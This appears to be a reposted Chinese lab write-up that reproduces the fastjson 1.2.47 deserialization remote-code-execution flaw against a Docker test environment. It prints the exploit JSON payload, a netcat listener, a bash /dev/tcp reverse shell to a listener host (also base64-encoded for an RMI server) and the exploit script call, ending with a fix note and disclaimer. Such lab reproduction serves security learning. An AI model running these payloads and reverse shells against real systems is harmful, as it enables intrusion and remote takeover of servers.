fastjson遠程代碼執行漏洞復現


漏洞產生原因

fastjson提供了autotype功能,在請求過程中,我們可以在請求包中通過修改@type的值,來反序列化為指定的類型,而fastjson在反序列化過程中會設置和獲取類中的屬性,如果類中存在惡意方法,就會導致代碼執行漏洞產生。

查看fastjson漏洞利用工具的pyload

payload = """
    {
        "a": {
            "@type": "java.lang.Class", 
            "val": "com.sun.rowset.JdbcRowSetImpl"
        }, 
        "b": {
            "@type": "com.sun.rowset.JdbcRowSetImpl", 
            "dataSourceName": "%s", 
            "autoCommit": true
        }
    }

漏洞環境

漏洞主機 kali2020 ip地址:192.168.177.137

接收反彈shell主機 kali2018 ip地址:192.168.177.128

運行惡意Java類的主機和含有RMI服務主機 win10物理主機 ip地址:192.168.177.1

kali2020使用docker搭建fastjson1.2.47漏洞環境

漏洞復現

工具下載

https://github.com/zhzyker/exphub/tree/master/

 kali 2018 監聽端口

nc -lvp 8888

 

 物理機運行RMI服務,加載惡意java類

bash -i >& /dev/tcp/192.168.177.128/8888 0>&1 //轉換成可執行代碼
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.177.1 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Ny4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

 

發送反序列化代碼漏洞執行命令

python3 fastjson-1.2.47_rce.py http://192.168.177.137:8090 rmi://192.168.177.1:9999/Object

 無法反彈shell

 查看端口監聽情況,反彈shell,都不成功的,在肉雞上直接執行命令,kali2018直接獲取shell:

sudo bash -i >& /dev/tcp/192.168.177.128/8888 0>&1

查看代碼發現加載惡意java類時base64編碼時源地址寫錯了,導致代碼執行不出去!!!

 

修改完以后還是不行,進行web訪問fastjson地址發現訪問不了(kali顯示已啟動),進行fastjson環境重啟,再次訪問web沒有問題

 

 

再次執行上面命令,成功反彈shell

 

復測完成記得關閉漏洞環境

sudo docker-compose down

漏洞修復

升級最新版本,具體參見漏洞修復

參考鏈接

https://www.cnblogs.com/renhaoblog/p/13033723.html

https://www.freebuf.com/vuls/178012.html

免責聲明

嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM